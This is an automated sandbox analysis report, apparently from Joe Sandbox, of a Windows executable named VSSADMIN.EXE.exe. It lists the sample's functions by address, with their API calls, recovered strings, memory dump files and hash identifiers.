API String ID: 1878133881-2410924014
Opcode ID: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction ID: 0cabe60dd2f0317458d7cc8b18423016e7112c85527d09ac3810cd807fd967c8
Opcode Fuzzy Hash: 4ccfa1ca3bcae5acffff1ea197f60ccb63abed4ad3799bdff7ceda7eadf1df34
Instruction Fuzzy Hash: B831857262CA8292EA30D714E4916EA6374FF85F94F804037E68D87A99DF3DD345CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C73BC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF614C736B9), ref: 00007FF614C73BF1

Part of subcall function 00007FF614C72620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654
Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

Strings

GetModuleFileNameW, xrefs: 00007FF614C73C02
Failed to convert executable path to UTF-8., xrefs: 00007FF614C73C2A
Failed to get executable path., xrefs: 00007FF614C73BFB

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction ID: 711d856276ce07ae2e7d2679d58a58d86320b1af73e45da33f543d676ac51ce5
Opcode Fuzzy Hash: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction Fuzzy Hash: EF017520B1DE8392FE209724D8863B51275AF5AB96F400133D84DC7292EE5DE155C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8BAA0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF614C8BB1F
WriteFile.KERNEL32 ref: 00007FF614C8BDE7
WriteFile.KERNEL32 ref: 00007FF614C8BE2D
GetLastError.KERNEL32 ref: 00007FF614C8BEE3

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1e365f9b30df03f18385238fa5722fca72bc799989c9a48dcea0a3fe118199c6
Instruction ID: 2e40456ab58387b5b3d3ced8f526ecf2c6219b08c69dc03f75355d0f082e8f35
Opcode Fuzzy Hash: 1e365f9b30df03f18385238fa5722fca72bc799989c9a48dcea0a3fe118199c6
Instruction Fuzzy Hash: DBD1D572B18E828AE711CF75D4802AC37B1FB56BA8B404136EF5D97B99EE38D416D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C84804 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF614C84837
GetFileInformationByHandle.KERNEL32 ref: 00007FF614C84899
GetLastError.KERNEL32 ref: 00007FF614C8492A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C8473C), ref: 00007FF614C84976

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction ID: dd55b42f2fde5e925cf492ec1fec847b750e0a2bf12d2e3cab28159a11257e2f
Opcode Fuzzy Hash: ce0a1e9b89da8c582d0725fbd11fd513ed84fd7ce4f909c8e640cca0bbf582de
Instruction Fuzzy Hash: 1B518222E08A528AFB24DFB5D4903BD73B5AF46F68F10453ADE4D87689EF38D4419704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF614C71FA4
SetWindowLongPtrW.USER32 ref: 00007FF614C71FC6
GetWindowLongPtrW.USER32 ref: 00007FF614C71FF0
InvalidateRect.USER32 ref: 00007FF614C72010

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: 827ab80cacc80360e28ac13ff821de4bd6941a9723479130775979797aff58cb
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: 04118631E1C94243FA549769E5842B952B3FBCAFA1F484132E94987B99CE2DD5858200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C94D6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C908D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C90903

_get_daylight.LIBCMT ref: 00007FF614C94E84
_get_daylight.LIBCMT ref: 00007FF614C94E95

Strings

?, xrefs: 00007FF614C94E15

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 943dc617f45bed002e629b40e1fde0ce7e8ddbadaf2104e4c3051838adc72d4a
Instruction ID: 6243723ece32913ec4bcdc482baa7c948107280c40b936d205852b500f1de186
Opcode Fuzzy Hash: 943dc617f45bed002e629b40e1fde0ce7e8ddbadaf2104e4c3051838adc72d4a
Instruction Fuzzy Hash: 28410812A0CA8365FB649B25D58137AE6B0EB82FB8F144236EE5C87AD5DF3ED441C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C87E9C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C87ECE

Part of subcall function 00007FF614C89E48: RtlReleasePrivilege.NTDLL(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF614C7B135), ref: 00007FF614C87EEC

Strings

C:\Users\user\Desktop\VSSADMIN.EXE.exe, xrefs: 00007FF614C87EDA

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastModuleNamePrivilegeRelease_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\VSSADMIN.EXE.exe
API String ID: 1752791759-1688815890
Opcode ID: e5e537b1f25b6317a615cc166ba8ab4389d523c8332b43849fdef0541cca01c3
Instruction ID: 0b2ca9aeb5763d4a833c3ab8aaa6e583eb0686974bacee5ada8daabe44179aa5
Opcode Fuzzy Hash: e5e537b1f25b6317a615cc166ba8ab4389d523c8332b43849fdef0541cca01c3
Instruction Fuzzy Hash: 0B414D32A09E5385E7159F26D8C00B967B4EB46FE4B544037EA4E87B85DF3DE8519310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8C138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF614C8C24F
GetLastError.KERNEL32 ref: 00007FF614C8C271

Strings

U, xrefs: 00007FF614C8C1FB

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 7853f05ac379f521114fefc1a42187cdb8ba925dbe71da0877b6f38df8d0512d
Instruction ID: 105004092851e96d1fb8d19be8496505c19edd8cfd7d6e0b675a146e1da7a494
Opcode Fuzzy Hash: 7853f05ac379f521114fefc1a42187cdb8ba925dbe71da0877b6f38df8d0512d
Instruction Fuzzy Hash: 7D418232618A4296DB20CF65E4843BA6771FB99BA4F504036EE4DC7798DF3CD441D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8E538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF614C8E578
GetCurrentDirectoryW.KERNEL32 ref: 00007FF614C8E5CA

Strings

:, xrefs: 00007FF614C8E58E

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c79238bf43e0cbae76f50738f5baf0a43c8060c9bac1b93bc5b87429c8295926
Instruction ID: 2dfe0e81140b3302117c91b007f1316cc101a4416b68701f276e916ffa950930
Opcode Fuzzy Hash: c79238bf43e0cbae76f50738f5baf0a43c8060c9bac1b93bc5b87429c8295926
Instruction Fuzzy Hash: 3621B172A08A8282EB209B15D48427E63B1FB86F64F454037DA8DC3684DF7DE985DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72845
MessageBoxA.USER32 ref: 00007FF614C72861

Strings

Fatal error detected, xrefs: 00007FF614C7281B, 00007FF614C72853

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction ID: a49303f06f8780b8e014b4f9c7065a12ecf7965e4abde25aa76fce8a106fb723
Opcode Fuzzy Hash: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction Fuzzy Hash: D821A67262CA8292EB20DB14F4906EA7374FF95B98F805136E64D87A65DF3DD245C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72965
MessageBoxA.USER32 ref: 00007FF614C72981

Strings

Error detected, xrefs: 00007FF614C7293B, 00007FF614C72973

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction ID: e4213435244b9469cfa5219e9e3788d136793a4e1cb18b9816c5f1dd7773f744
Opcode Fuzzy Hash: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction Fuzzy Hash: BA21867262CA8292EB20D714F4916EAB374FF95B98F805136E68D87A65DF3DD205C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7EFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF614C7F024
RaiseException.KERNEL32 ref: 00007FF614C7F06A

Strings

csm, xrefs: 00007FF614C7F057

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction ID: fec1f0a4ab71d96dae5c7cde083ccec8d9e5605f7e08bb13d27bbcb3617339c3
Opcode Fuzzy Hash: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction Fuzzy Hash: A8113D32608F8182EB158F15F48026977A4FB89FA8F184235DF8D47764DF3DD5518700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8F03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8F06C
GetDriveTypeW.KERNEL32 ref: 00007FF614C8F0AC

Strings

:, xrefs: 00007FF614C8F095

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction ID: c4f82c2235458d99cb60745b9e31a72a69d7a9732c52fc391b20815b90c59dec
Opcode Fuzzy Hash: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction Fuzzy Hash: C1018461A1CA438AFB209F6094E127E63B0EF46B68F440137D74DC7691EF2DE545DA18

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: VSSADMIN.EXE.exePID: 6872, Parent PID: 6856COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1%
Total number of Nodes:	819
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF614C95D9C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95B11
Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95B8F
Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95BE0

CreateFileW.KERNEL32 ref: 00007FF614C95EA2
CreateFileW.KERNEL32 ref: 00007FF614C95EF2
GetLastError.KERNEL32 ref: 00007FF614C95F22
GetFileType.KERNEL32 ref: 00007FF614C95F37
GetLastError.KERNEL32 ref: 00007FF614C95F41
CloseHandle.KERNEL32 ref: 00007FF614C95F74
CloseHandle.KERNEL32 ref: 00007FF614C960D7
CreateFileW.KERNEL32 ref: 00007FF614C9610C
GetLastError.KERNEL32 ref: 00007FF614C9611B

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: c193deae2c68f2782aecede26064aa5b5da501404692e974333340cb25ef943d
Instruction ID: b68f983b892a7b5db8c62fe9801dbb15b0ac0717b6815dec5b91bd7101bebb8a
Opcode Fuzzy Hash: c193deae2c68f2782aecede26064aa5b5da501404692e974333340cb25ef943d
Instruction Fuzzy Hash: AFC1AD37B28E4295EB10CF68C4D06AC3771EB5AFA8B01523ADA2E97795DF3AD551C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FF45510 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFD3FF45FD0
GetProcAddress.KERNEL32 ref: 00007FFD3FF45FFA
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFD3FF46084
VirtualProtect.KERNEL32 ref: 00007FFD3FF460A2

Strings

v25, xrefs: 00007FFD3FF4553B

Memory Dump Source

Source File: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: v25
API String ID: 3300690313-352214434
Opcode ID: 81e439c2f95b6ff207ce10fa622c9e2eedcd61100e367f92fc92251c239f3918
Instruction ID: 38d6fe9c059d25f0eba26e28a72433fc53c93fcdf728bfa46f544aa6523488d4
Opcode Fuzzy Hash: 81e439c2f95b6ff207ce10fa622c9e2eedcd61100e367f92fc92251c239f3918
Instruction Fuzzy Hash: 2062166272859A86E7199E38D41027D77A0F748785F085632EFAEC37D4EE3CEA49D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B1B0 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF614C7B1B9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C88B38

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 2d1ec54d9dc1f814aac4ffc56ccc42f9ec7497739519b971d77b754768042176
Instruction ID: 8589a500f0291bc674069ddf769efa1a77272bf0df5498fe465d48b40ae2e558
Opcode Fuzzy Hash: 2d1ec54d9dc1f814aac4ffc56ccc42f9ec7497739519b971d77b754768042176
Instruction Fuzzy Hash: 6EE0B670E1D94382F61876A95CC30BE10B05F97B30FA0023BE11AC7AD2CD6D2592AA26

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C717B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

